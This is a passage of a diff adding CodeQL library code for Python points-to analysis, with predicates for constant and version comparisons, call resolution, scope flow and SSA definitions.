strict) and + ( + exists(NumericObject n1, NumericObject n2 | + points_to(left, context, n1, _, _) and + points_to(right, context, n2, _, _) and + comp = int_compare(n1, n2) + ) + or + exists(StringObject s1, StringObject s2| + points_to(left, context, s1, _, _) and + points_to(right, context, s2, _, _) and + comp = string_compare(s1, s2) + ) + ) + ) + } + + pragma [noinline] + private Object version_tuple_compare(CompareNode cmp, PointsToContext context) { + exists(ControlFlowNode lesser, ControlFlowNode greater, boolean strict | + inequality(cmp, lesser, greater, strict) and + exists(TupleObject tuple, int comp | + points_to(lesser, context, tuple, _, _) and + points_to(greater, context, theSysVersionInfoTuple(), _, _) and + comp = version_tuple_compare(tuple) + or + points_to(lesser, context, theSysVersionInfoTuple(), _, _) and + points_to(greater, context, tuple, _, _) and + comp = version_tuple_compare(tuple)*-1 + | + comp = -1 and result = theTrueObject() + or + comp = 0 and strict = false and result = theTrueObject() + or + comp = 0 and strict = true and result = theFalseObject() + or + comp = 1 and result = theFalseObject() + ) + ) + } + + /** Holds if `cls` is an element of the tuple referred to by `f`. + * Helper for relevant_subclass_relation + */ + private predicate element_of_points_to_tuple(ControlFlowNode f, PointsToContext context, ClassObject cls) { + exists(TupleObject t | + points_to(f, context, t, _, _) | + cls = t.getBuiltinElement(_) + or + points_to(t.getSourceElement(_), _, cls, _, _) + ) + } + + private predicate compare_expr_points_to(CompareNode cmp, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + equality_expr_points_to(cmp, context, value, cls, origin) + or + cls = theBoolType() and origin = cmp and + ( + incomparable_values(cmp, context) and + (value = theFalseObject() or value = theTrueObject()) + or + value = in_tuple(cmp, context) + or + exists(int comp, boolean strict | + const_compare(cmp, context, comp, strict) + | + comp = -1 and value = theTrueObject() + or + comp = 0 and strict = false and value = theTrueObject() + or + comp = 0 and strict = true and value = theFalseObject() + or + comp = 1 and value = theFalseObject() + ) + or + value = version_tuple_compare(cmp, context) + ) + } + + pragma[inline] + private int int_compare(NumericObject n1, NumericObject n2) { + exists(int i1, int i2 | + i1 = n1.intValue() and i2 = n2.intValue() | + i1 = i2 and result = 0 + or + i1 < i2 and result = -1 + or + i1 > i2 and result = 1 + ) + } + + pragma[inline] + private int string_compare(StringObject s1, StringObject s2) { + exists(string a, string b | + a = s1.getText() and b = s2.getText() | + a = b and result = 0 + or + a < b and result = -1 + or + a > b and result = 1 + ) + } + + private predicate not_points_to(UnaryExprNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + f.getNode().getOp() instanceof Not and + cls = theBoolType() and origin = f and + exists(Object operand | + points_to(f.getOperand(), context, operand, _, _) + | + not operand.booleanValue() = true and value = theTrueObject() + or + not operand.booleanValue() = false and value = theFalseObject() + ) + } + + private predicate equality_expr_points_to(CompareNode cmp, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + cls = theBoolType() and origin = cmp and + exists(ControlFlowNode x, ControlFlowNode y, Object xobj, Object yobj, boolean is | + BaseFilters::equality_test(cmp, x, is, y) and + points_to(x, context, xobj, _, _) and + points_to(y, context, yobj, _, _) and + Filters::equatable_value(xobj) and Filters::equatable_value(yobj) + | + xobj = yobj and is = true and value = theTrueObject() + or + xobj != yobj and is = true and value = theFalseObject() + or + xobj = yobj and is = false and value = theFalseObject() + or + xobj != yobj and is = false and value = theTrueObject() + ) + } + + private predicate subscript_points_to(SubscriptNode sub, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(Object unknownCollection | + varargs_points_to(unknownCollection, _) or + kwargs_points_to(unknownCollection, _) + | + sub.isLoad() and + points_to(sub.getValue(), context, unknownCollection, _, _) and + value = unknownValue() and cls = theUnknownType() and origin = sub + ) + or + points_to(sub.getValue(), context, unknownValue(), _, _) and + value = unknownValue() and cls = theUnknownType() and origin = sub + } + + /* ************** + * VERSION INFO * + ****************/ + + /** Holds if `s` points to `sys.version_info[0]`. */ + private predicate sys_version_info_index(SubscriptNode s, PointsToContext context, NumericObject value, ClassObject cls) { + points_to(s.getValue(), context, theSysVersionInfoTuple(), _, _) and + exists(NumericObject zero | + zero.intValue() = 0 | + points_to(s.getIndex(), context, zero, _, _) + ) and + value.intValue() = major_version() and + cls = theIntType() + } + + /** Holds if `s` points to `sys.version_info[:x]` or `sys.version_info[:]`. */ + private predicate sys_version_info_slice(SubscriptNode s, PointsToContext context, ClassObject cls) { + points_to(s.getValue(), context, theSysVersionInfoTuple(), cls, _) and + exists(Slice index | index = s.getIndex().getNode() | + not exists(index.getStart()) + ) + } + + /** Holds if `s` points to `sys.version[0]`. */ + private predicate sys_version_string_char0(SubscriptNode s, PointsToContext context, Object value, ClassObject cls) { + points_to(s.getValue(), context, theSysVersionString(), cls, _) and + exists(NumericObject zero | + zero.intValue() = 0 | + points_to(s.getIndex(), context, zero, _, _) + ) + and + value = object_for_string(major_version().toString()) + } + + /* Version tests. Ignore micro and release parts. Treat major, minor as a single version major*10+minor + * Currently cover versions 0.9 to 4.0 + */ + + /** Helper for `version_const`. */ + private predicate comparison(CompareNode cmp, ControlFlowNode fv, ControlFlowNode fc, string opname) { + exists(Cmpop op | + cmp.operands(fv, op, fc) and opname = op.getSymbol() + or + cmp.operands(fc, op, fv) and opname = reversed(op) + ) + } + + /** Helper for `version_const`. */ + private predicate inequality(CompareNode cmp, ControlFlowNode lesser, ControlFlowNode greater, boolean strict) { + exists(Cmpop op | + cmp.operands(lesser, op, greater) and op.getSymbol() = "<" and strict = true + or + cmp.operands(lesser, op, greater) and op.getSymbol() = "<=" and strict = false + or + cmp.operands(greater, op, lesser) and op.getSymbol() = ">" and strict = true + or + cmp.operands(greater, op, lesser) and op.getSymbol() = ">=" and strict = false + ) + } + + /** Holds if `f` is a test for the O/S. */ + private predicate os_test(ControlFlowNode f, string os, PointsToContext context) { + exists(ControlFlowNode c | + os_compare(c, os) and + points_to(f, context, _, _, c) + ) + } + + predicate named_attribute_points_to(ControlFlowNode f, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + exists(EssaVariable var | + var.getAUse() = f | + SSA::ssa_variable_named_attribute_points_to(var, context, name, value, cls, origin) + ) + or + exists(ClassObject c, EssaVariable self, Function init | + instantiation(f, context, c) and + init = c.getPyClass().getInitMethod() and + self.getAUse() = init.getANormalExit() and + SSA::ssa_variable_named_attribute_points_to(self, context, name, value, cls, origin) + ) + } + + private module Calls { + + /** Holds if `f` is a call to type() with a single argument `arg` */ + private predicate call_to_type(CallNode f, ControlFlowNode arg, PointsToContext context) { + points_to(f.getFunction(), context, theTypeType(), _, _) and not exists(f.getArg(1)) and arg = f.getArg(0) + } + + pragma [noinline] + predicate call_to_type_known_python_class_points_to(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ControlFlowNode arg | + call_to_type(f, arg, context) and + points_to(arg, context, _, value, _) + ) and + origin.getNode() = value.getOrigin() and + cls = theTypeType() + } + + pragma [noinline] + predicate call_to_type_known_builtin_class_points_to(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ControlFlowNode arg | + call_to_type(f, arg, context) | + points_to(arg, context, _, value, _) + ) and + not exists(value.getOrigin()) and + origin = f and cls = theTypeType() + } + + pragma [noinline] + predicate call_points_to_builtin_function(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(BuiltinCallable b | + not b = builtin_object("isinstance") and + not b = builtin_object("issubclass") and + not b = builtin_object("callable") and + f = get_a_call(b, context) and + cls = b.getAReturnType() + ) and + f = origin and + if cls = theNoneType() then + value = theNoneObject() + else + value = f + } + + /** Holds if call is to an object that always returns its first argument. + * Typically, this is for known decorators and the like. + * The current implementation only accounts for instances of `zope.interface.declarations.implementer` and + * calls to `functools.wraps(fn)`. + */ + private predicate annotation_call(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + points_to(f.getArg(0), context, value, cls, origin) and + ( + points_to(f.getFunction(), context, _, zopeInterfaceImplementer(), _) + or + points_to(f.getFunction().(CallNode).getFunction(), context, functoolsWraps(), _, _) + ) + } + + private ClassObject zopeInterfaceImplementer() { + result.getName() = "implementer" and + result.getPyClass().getEnclosingModule().getName() = "zope.interface.declarations" + } + + private PyFunctionObject functoolsWraps() { + result.getName() = "wraps" and + result.getFunction().getEnclosingModule().getName() = "functools" + } + + pragma [noinline] + predicate call_to_procedure_points_to(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(PyFunctionObject func | + f = get_a_call(func, context) and + implicitly_returns(func, value, cls) and origin.getNode() = func.getOrigin() + ) + } + + predicate call_to_unknown(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + value = unknownValue() and cls = theUnknownType() and origin = f + and + exists(ControlFlowNode callable | + callable = f.getFunction() or + callable = f.getFunction().(AttrNode).getObject() + | + points_to(callable, context, unknownValue(), _, _) + ) + } + + predicate call_to_type_new(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + points_to(f.getFunction(), context, theTypeNewMethod(), _, _) and + value = theUnknownType() and cls = theUnknownType() and origin = f + } + + predicate call_to_generator_points_to(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(PyFunctionObject func | + f = get_a_call(func, context) | + func.getFunction().isGenerator() and origin = f and value = f and cls = theGeneratorType() + ) + } + + /* Helper for call_points_to_python_function */ + predicate return_val_points_to(PyFunctionObject func, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ControlFlowNode rval | + rval = func.getAReturnedNode() and + points_to(rval, context, value, cls, origin) + ) + } + + pragma [noinline] + predicate call_points_to_python_function(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(PyFunctionObject func, PointsToContext callee | + return_val_points_to(func, callee, value, cls, origin) and + callee.fromCall(f, func, context) + ) + } + + /** A call, including calls to `type(arg)`, functions and classes. + * + * Call analysis logic + * =================== + * There are five possibilities (that we currently account for) here. + * 1. `type(known_type)` where we know the class of `known_type` and we know its origin + * 2. `type(known_type)` where we know the class of `known_type`, + * but we don't know its origin (because it is a builtin type) + * 3. `Class(...)` where Class is any class except type (with one argument) and calls to that class return instances of that class + * 4. `func(...)` where we know the return type of func (because it is a builtin function) + * 5. `func(...)` where we know the returned object and origin of func (because it is a Python function) + */ + predicate call_points_to(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + /* Case 1 */ + call_to_type_known_python_class_points_to(f, context, value, cls, origin) + or + /* Case 2 */ + call_to_type_known_builtin_class_points_to(f, context, value, cls, origin) + or + /* Case 3 */ + instantiation(f, context, cls) and value = f and f = origin + or + /* Case 4 */ + call_points_to_builtin_function(f, context, value, cls, origin) + or + /* Case 5a */ + call_points_to_python_function(f, context, value, cls, origin) + or + /* Case 5b */ + call_to_generator_points_to(f, context, value, cls, origin) + or + /* Case 5c */ + call_to_procedure_points_to(f, context, value, cls, origin) + or + call_to_unknown(f, context, value, cls, origin) + or + call_to_type_new(f, context, value, cls, origin) + or + annotation_call(f, context, value, cls, origin) + } + + /** INTERNAL -- Public for testing only. + * Whether `call` is a call to `method` of the form `super(...).method(...)` + */ + predicate super_method_call(PointsToContext context, CallNode call, EssaVariable self, FunctionObject method) { + exists(ControlFlowNode func, SuperBoundMethod bound_method | + call.getFunction() = func and + points_to(func, context, bound_method, _, _) and + method = bound_method.getFunction(context) and + self = bound_method.getSelf() + ) + } + + /** INTERNAL -- Use `FunctionObject.getAMethodCall()`. */ + pragma [nomagic] + predicate plain_method_call(FunctionObject func, PointsToContext context, CallNode call) { + exists(ControlFlowNode attr, ClassObject cls, string name | + attr = call.getFunction() and + receiver_type_for(cls, name, attr, context) and + Types::class_attribute_lookup(cls, name, func, _, _) + ) + } + + /** INTERNAL -- Do not use; part of the internal API. + * + * Whether cls `cls` is the receiver type of an attribute access `n`. + * Also bind the name of the attribute. + */ + predicate receiver_type_for(ClassObject cls, string name, ControlFlowNode n, PointsToContext context) { + /* `super().meth()` is not a method on `super` */ + cls != theSuperType() and + exists(Object o | + /* list.__init__() is not a call to type.__init__() */ + not o instanceof ClassObject | + points_to(n.(AttrNode).getObject(name), context, o, cls, _) + ) + or + exists(PlaceHolder p, Variable v | + n.getNode() = p and n.(NameNode).uses(v) and name = v.getId() and + p.getScope().getScope() = cls.getPyClass() and context.appliesTo(n) + ) + } + + /** Gets the argument for the parameter at `position` where `call` is a call to `func`. + * Handles method calls, such that for a call `x.foo()` with `position equal to 0, the result is `x`. + */ + pragma [nomagic] + ControlFlowNode get_argument_for_call_by_position(FunctionObject func, PointsToContext context, CallNode call, int position) { + method_call(func, context, call) and + ( + result = call.getArg(position-1) + or + position = 0 and result = call.getFunction().(AttrNode).getObject() + ) + or + function_call(func, context, call) and + result = call.getArg(position) + } + + /** Holds if `value` is the value attached to the keyword argument `name` in `call`. */ + predicate keyword_value_for_call(CallNode call, string name, ControlFlowNode value) { + exists(Keyword kw | + call.getNode().getAKeyword() = kw | + kw.getArg() = name and kw.getValue() = value.getNode() and + value.getBasicBlock().dominates(call.getBasicBlock()) + ) + } + + /** Gets the value for the keyword argument `name` in `call`, where `call` calls `func` in context. */ + ControlFlowNode get_argument_for_call_by_name(FunctionObject func, PointsToContext context, CallNode call, string name) { + call = get_a_call(func, context) and + keyword_value_for_call(call, name, result) + } + + /** Holds if `func` implicitly returns the `None` object */ + predicate implicitly_returns(PyFunctionObject func, Object none_, ClassObject noneType) { + noneType = theNoneType() and not func.getFunction().isGenerator() and none_ = theNoneObject() and + ( + not exists(func.getAReturnedNode()) and exists(func.getFunction().getANormalExit()) + or + exists(Return ret | ret.getScope() = func.getFunction() and not exists(ret.getValue())) + ) + } + + } + + cached module Flow { + + /** Model the transfer of values at scope-entry points. Transfer from `(pred_var, pred_context)` to `(succ_def, succ_context)`. */ + cached predicate scope_entry_value_transfer(EssaVariable pred_var, PointsToContext pred_context, ScopeEntryDefinition succ_def, PointsToContext succ_context) { + scope_entry_value_transfer_from_earlier(pred_var, pred_context, succ_def, succ_context) + or + callsite_entry_value_transfer(pred_var, pred_context, succ_def, succ_context) + or + pred_context.isImport() and pred_context = succ_context and + class_entry_value_transfer(pred_var, succ_def) + } + + /** Helper for `scope_entry_value_transfer`. Transfer of values from a temporally earlier scope to later scope. + * Earlier and later scopes are, for example, a module and functions in that module, or an __init__ method and another method. */ + pragma [noinline] + private predicate scope_entry_value_transfer_from_earlier(EssaVariable pred_var, PointsToContext pred_context, ScopeEntryDefinition succ_def, PointsToContext succ_context) { + exists(Scope pred_scope, Scope succ_scope | + BaseFlow::scope_entry_value_transfer_from_earlier(pred_var, pred_scope, succ_def, succ_scope) and + succ_context.appliesToScope(succ_scope) + | + succ_context.isRuntime() and succ_context = pred_context + or + pred_context.isImport() and pred_scope instanceof ImportTimeScope and + (succ_context.fromRuntime() or + /* A call made at import time, but from another module. Assume this module has been fully imported. */ + succ_context.isCall() and exists(CallNode call | succ_context.fromCall(call, _) and call.getEnclosingModule() != pred_scope)) + or + /* If predecessor scope is main, then we assume that any global defined exactly once + * is available to all functions. Although not strictly true, this gives less surprising + * results in practice. */ + pred_context.isMain() and pred_scope instanceof Module and succ_context.fromRuntime() and + not strictcount(pred_var.getSourceVariable().(Variable).getAStore()) > 1 + ) + or + exists(NonEscapingGlobalVariable var | + var = pred_var.getSourceVariable() and var = succ_def.getSourceVariable() and + pred_var.getAUse() = succ_context.getRootCall() and pred_context.isImport() and + succ_context.appliesToScope(succ_def.getScope()) + ) + } + + /** Helper for `scope_entry_value_transfer`. + * Transfer of values from the callsite to the callee, for enclosing variables, but not arguments/parameters. */ + pragma [noinline] + private predicate callsite_entry_value_transfer(EssaVariable caller_var, PointsToContext caller_context, ScopeEntryDefinition entry_def, PointsToContext callee_context) { + exists(CallNode callsite, FunctionObject f, Variable var | + scope_entry_function_and_variable(entry_def, f, var) and + callee_context.fromCall(callsite, f, caller_context) and + caller_var.getSourceVariable() = var and + caller_var.getAUse() = callsite + ) + } + + /** Helper for callsite_entry_value_transfer to improve join-order */ + private predicate scope_entry_function_and_variable(ScopeEntryDefinition entry_def, FunctionObject f, Variable var) { + exists(Function func | + func = f.getFunction() | + entry_def.getDefiningNode() = func.getEntryNode() and + not var.getScope() = func and + entry_def.getSourceVariable() = var + ) + } + + /** Helper for `scope_entry_value_transfer`. */ + private predicate class_entry_value_transfer(EssaVariable pred_var, ScopeEntryDefinition succ_def) { + exists(ImportTimeScope scope, ControlFlowNode class_def | + class_def = pred_var.getAUse() and + scope.entryEdge(class_def, succ_def.getDefiningNode()) and + pred_var.getSourceVariable() = succ_def.getSourceVariable() + ) + } + + /** Gets the ESSA variable from which `def` acquires its value, when a call occurs. + * Helper for `callsite_points_to`. */ + cached predicate callsite_exit_value_transfer(EssaVariable callee_var, PointsToContext callee_context, CallsiteRefinement def, PointsToContext callsite_context) { + exists(FunctionObject func, Variable var | + callee_context.fromCall(def.getCall(), func, callsite_context) and + def.getSourceVariable() = var and + var_at_exit(var, func, callee_var) + ) + } + + /* Helper for callsite_exit_value_transfer */ + private predicate var_at_exit(Variable var, FunctionObject func, EssaVariable evar) { + not var instanceof LocalVariable and + evar.getSourceVariable() = var and + evar.getScope() = func.getFunction() and + BaseFlow::reaches_exit(evar) + } + + /** Holds if the `(argument, caller)` pair matches up with `(param, callee)` pair across call. */ + cached predicate callsite_argument_transfer(ControlFlowNode argument, PointsToContext caller, ParameterDefinition param, PointsToContext callee) { + exists(CallNode call, PyFunctionObject func, int n, int offset | + callsite_calls_function(call, caller, func, callee, offset) and + argument = call.getArg(n) and + param = func.getParameter(n+offset) + ) + } + + cached predicate callsite_calls_function(CallNode call, PointsToContext caller, PyFunctionObject func, PointsToContext callee, int parameter_offset) { + /* Functions */ + callee.fromCall(call, func, caller) and + function_call(func, caller, call) and + parameter_offset = 0 + or + /* Methods */ + callee.fromCall(call, func, caller) and + method_call(func, caller, call) and + parameter_offset = 1 + or + /* Classes */ + exists(ClassObject cls | + instantiation(call, caller, cls) and + Types::class_attribute_lookup(cls, "__init__", func, _, _) and + parameter_offset = 1 and + callee.fromCall(call, caller) + ) + } + + /** Helper for `import_star_points_to`. */ + cached predicate module_and_name_for_import_star(ModuleObject mod, string name, ImportStarRefinement def, PointsToContext context) { + points_to(def.getDefiningNode().(ImportStarNode).getModule(), context, mod, _, _) and + name = def.getSourceVariable().getName() + } + + /** Holds if `def` is technically a definition of `var`, but the `from ... import *` does not in fact define `var`. */ + cached predicate variable_not_redefined_by_import_star(EssaVariable var, PointsToContext context, ImportStarRefinement def) { + var = def.getInput() and + exists(ModuleObject mod | + points_to(def.getDefiningNode().(ImportStarNode).getModule(), context, mod, _, _) | + module_exports_boolean(mod, var.getSourceVariable().getName()) = false + or + exists(Module m, string name | + m = mod.getModule() and name = var.getSourceVariable().getName() | + not m.declaredInAll(_) and name.charAt(0) = "_" + ) + ) + } + + } + + private module SSA { + + + /** Holds if the phi-function `phi` refers to `(value, cls, origin)` given the context `context`. */ + pragma [noinline] + private predicate ssa_phi_points_to(PhiFunction phi, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(EssaVariable input, BasicBlock pred | + input = phi.getInput(pred) and + ssa_variable_points_to(input, context, value, cls, origin) + | + Layer::controlledReachableEdge(pred, phi.getBasicBlock(), context) + or + not exists(ConditionBlock guard | guard.controlsEdge(pred, phi.getBasicBlock(), _)) + ) + or + ssa_variable_points_to(phi.getShortCircuitInput(), context, value, cls, origin) + } + + /** Holds if the ESSA definition `def` refers to `(value, cls, origin)` given the context `context`. */ + predicate ssa_definition_points_to(EssaDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + ssa_phi_points_to(def, context, value, cls, origin) + or + ssa_node_definition_points_to(def, context, value, cls, origin) + or + Filters::ssa_filter_definition_points_to(def, context, value, cls, origin) + or + ssa_node_refinement_points_to(def, context, value, cls, origin) + } + + pragma [nomagic] + private predicate ssa_node_definition_points_to_unpruned(EssaNodeDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + assignment_points_to(def, context, value, cls, origin) + or + parameter_points_to(def, context, value, cls, origin) + or + self_parameter_points_to(def, context, value, cls, origin) + or + delete_points_to(def, context, value, cls, origin) + or + scope_entry_points_to(def, context, value, cls, origin) + or + implicit_submodule_points_to(def, context, value, cls, origin) + or + module_name_points_to(def, context, value, cls, origin) + or + iteration_definition_points_to(def, context, value, cls, origin) + /* + * No points-to for non-local function entry definitions yet. + */ + } + + pragma [noinline] + private predicate reachable_definitions(EssaNodeDefinition def) { + Layer::reachableBlock(def.getDefiningNode().getBasicBlock(), _) + } + + pragma [noinline] + private predicate ssa_node_definition_points_to(EssaNodeDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + reachable_definitions(def) and + ssa_node_definition_points_to_unpruned(def, context, value, cls, origin) + } + + pragma [noinline] + private predicate ssa_node_refinement_points_to(EssaNodeRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + method_callsite_points_to(def, context, value, cls, origin) + or + import_star_points_to(def, context, value, cls, origin) + or + attribute_assignment_points_to(def, context, value, cls, origin) + or + callsite_points_to(def, context, value, cls, origin) + or + argument_points_to(def, context, value, cls, origin) + or + attribute_delete_points_to(def, context, value, cls, origin) + or + Filters::uni_edged_phi_points_to(def, context, value, cls, origin) + } + + /** Points-to for normal assignments `def = ...`. */ + pragma [noinline] + private predicate assignment_points_to(AssignmentDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + points_to(def.getValue(), context, value, cls, origin) + } + + /** Helper for `parameter_points_to` */ + pragma [noinline] + private predicate positional_parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(PointsToContext caller, ControlFlowNode arg | + points_to(arg, caller, value, cls, origin) and + Flow::callsite_argument_transfer(arg, caller, def, context) + ) + or + not def.isSelf() and not def.getParameter().isVarargs() and not def.getParameter().isKwargs() and + context.isRuntime() and value = unknownValue() and cls = theUnknownType() and origin = def.getDefiningNode() + } + + /** Helper for `parameter_points_to` */ + pragma [noinline] + private predicate named_parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(CallNode call, PointsToContext caller, FunctionObject func, string name | + context.fromCall(call, func, caller) and + def.getParameter() = func.getFunction().getArgByName(name) and + points_to(call.getArgByName(name), caller, value, cls, origin) + ) + } + + /** Points-to for parameter. `def foo(param): ...`. */ + pragma [noinline] + private predicate parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + positional_parameter_points_to(def, context, value, cls, origin) + or + named_parameter_points_to(def, context, value, cls, origin) + or + default_parameter_points_to(def, context, value, cls, origin) + or + special_parameter_points_to(def, context, value, cls, origin) + } + + /** Helper for parameter_points_to */ + private predicate default_parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + default_value_points_to(def, value, cls, origin) and + context_for_default_value(def, context) + } + + /** Helper for default_parameter_points_to */ + pragma [noinline] + private predicate default_value_points_to(ParameterDefinition def, Object value, ClassObject cls, ControlFlowNode origin) { + exists(PointsToContext imp | imp.isImport() | points_to(def.getDefault(), imp, value, cls, origin)) + } + + /** Helper for default_parameter_points_to */ + pragma [noinline] + private predicate context_for_default_value(ParameterDefinition def, PointsToContext context) { + context.isRuntime() + or + exists(PointsToContext caller, CallNode call, FunctionObject func, int n | + context.fromCall(call, func, caller) and + func.getFunction().getArg(n) = def.getParameter() and + not exists(call.getArg(n)) and + not exists(call.getArgByName(def.getParameter().asName().getId())) and + not exists(call.getNode().getKwargs()) and + not exists(call.getNode().getStarargs()) + ) + } + + /** Helper for parameter_points_to */ + pragma [noinline] + private predicate special_parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + context.isRuntime() and + exists(ControlFlowNode param | + param = def.getDefiningNode() | + varargs_points_to(param, cls) and value = theEmptyTupleObject() and origin = param + or + varargs_points_to(param, cls) and value = param and origin = param + or + kwargs_points_to(param, cls) and value = param and origin = param + ) + or + exists(PointsToContext caller, CallNode call, FunctionObject func, Parameter p | + context.fromCall(call, func, caller) and + func.getFunction().getAnArg() = p and p = def.getParameter() and + not p.isSelf() and + not exists(call.getArg(p.getPosition())) and + not exists(call.getArgByName(p.getName())) and + (exists(call.getNode().getKwargs()) or exists(call.getNode().getStarargs())) and + value = unknownValue() and cls = theUnknownType() and origin = def.getDefiningNode() + ) + } + + /** Holds if the `(obj, caller)` pair matches up with `(self, callee)` pair across call. */ + pragma [noinline] + private predicate callsite_self_argument_transfer(EssaVariable obj, PointsToContext caller, ParameterDefinition self, PointsToContext callee) { + self.isSelf() and + exists(CallNode call, PyFunctionObject meth | + meth.getParameter(0) = self and + callee.fromCall(call, caller) | + Calls::plain_method_call(meth, caller, call) and + obj.getASourceUse() = call.getFunction().(AttrNode).getObject() + or + Calls::super_method_call(caller, call, obj, meth) + ) + } + + /** Points-to for self parameter: `def meth(self, ...): ...`. */ + pragma [noinline] + private predicate self_parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + def.isSelf() and + exists(FunctionObject meth, Function scope | + meth.getFunction() = scope | + def.getDefiningNode().getScope() = scope and + context.isRuntime() and context.appliesToScope(scope) and + scope.getScope() = cls.getPyClass() and + Types::concrete_class(cls) and + value = def.getDefiningNode() and origin = value and + /* We want to allow decorated functions, otherwise we lose a lot of useful information. + * However, we want to exclude any function whose arguments are permuted by the decorator. + * In general we can't do that, but we can special case the most common ones. + */ + neither_class_nor_static_method(scope) + ) + or + exists(EssaVariable obj, PointsToContext caller | + ssa_variable_points_to(obj, caller, value, cls, origin) and + callsite_self_argument_transfer(obj, caller, def, context) + ) + or + cls_parameter_points_to(def, context, value, cls, origin) + } + + private predicate neither_class_nor_static_method(Function f) { + not exists(f.getADecorator()) + or + exists(ControlFlowNode deco | + deco = f.getADecorator().getAFlowNode() | + exists(Object o | + points_to(deco, _, o, _, _) | + not o = theStaticMethodType() and + not o = theClassMethodType() + ) + or not deco instanceof NameNode + ) + } + + + pragma [noinline] + private predicate cls_parameter_points_to(ParameterDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + def.isSelf() and + exists(CallNode call, PyFunctionObject meth, Object obj, ClassObject objcls, PointsToContext caller | + context.fromCall(call, caller) and + cls_method_object_points_to(call, caller, meth, obj, objcls, origin) and + def.getScope() = meth.getFunction() + | + obj instanceof ClassObject and value = obj and cls = objcls + or + not obj instanceof ClassObject and value = objcls and cls = Types::class_get_meta_class(objcls) + ) + } + + /* Factor out part of `cls_parameter_points_to` to prevent bad join-order */ + pragma [noinline] + private predicate cls_method_object_points_to(CallNode call, PointsToContext context, PyFunctionObject meth, Object value, ClassObject cls, ControlFlowNode origin) { + exists(AttrNode attr | + class_method_call(_, attr, meth, context, call) and + points_to(attr.getObject(), context, value, cls, origin) + ) + } + + /** Points-to for deletion: `del name`. */ + pragma [noinline] + private predicate delete_points_to(DeletionDefinition def, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + value = undefinedVariable() and cls = theUnknownType() and origin = def.getDefiningNode() and context.appliesToScope(def.getScope()) + } + + /** Implicit "definition" of the names of submodules at the start of an `__init__.py` file. + * + * PointsTo isn't exactly how the interpreter works, but is the best approximation we can manage statically. + */ + pragma [noinline] + private predicate implicit_submodule_points_to(ImplicitSubModuleDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(PackageObject package | + package.getInitModule().getModule() = def.getDefiningNode().getScope() | + value = package.submodule(def.getSourceVariable().getName()) and + cls = theModuleType() and + origin = value and + context.isImport() + ) + } + + /** Implicit "definition" of `__name__` at the start of a module. */ + pragma [noinline] + private predicate module_name_points_to(ScopeEntryDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + def.getVariable().getName() = "__name__" and + exists(Module m | + m = def.getScope() + | + value = module_dunder_name(m) and context.isImport() + or + value = object_for_string("__main__") and context.isMain() and context.appliesToScope(m) + ) and + cls = theStrType() and origin = def.getDefiningNode() + } + + private Object module_dunder_name(Module m) { + exists(string name | + result = object_for_string(name) | + if m.isPackageInit() then + name = m.getPackage().getName() + else + name = m.getName() + ) + } + + /** Definition of iteration variable in loop */ + pragma [noinline] + private predicate iteration_definition_points_to(IterationDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + points_to(def.getSequence(), context, unknownValue(), _, _) and + value = unknownValue() and cls = theUnknownType() and origin = def.getDefiningNode() + } + + /** Points-to for implicit variable declarations at scope-entry. */ + pragma [noinline] + private predicate scope_entry_points_to(ScopeEntryDefinition def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + /* Transfer from another scope */ + exists(EssaVariable var, PointsToContext outer | + Flow::scope_entry_value_transfer(var, outer, def, context) and + ssa_variable_points_to(var, outer, value, cls, origin) + ) + or + /* Undefined variable */ + exists(Scope scope | + not def.getVariable().getName() = "__name__" and + not def.getVariable().getName() = "*" and + def.getScope() = scope and context.appliesToScope(scope) | + def.getSourceVariable() instanceof GlobalVariable and scope instanceof Module + or + def.getSourceVariable() instanceof LocalVariable and (context.isImport() or context.isRuntime() or context.isMain()) + ) and + value = undefinedVariable() and cls = theUnknownType() and origin = def.getDefiningNode() + or + /* Builtin not defined in outer scope */ + exists(Module mod, GlobalVariable var | + var = def.getSourceVariable() and + mod = def.getScope().getEnclosingModule() and + context.appliesToScope(def.getScope()) and + not exists(EssaVariable v | v.getSourceVariable() = var and v.getScope() = mod) and + builtin_name_points_to(var.getId(), value, cls) and origin = value + ) + } 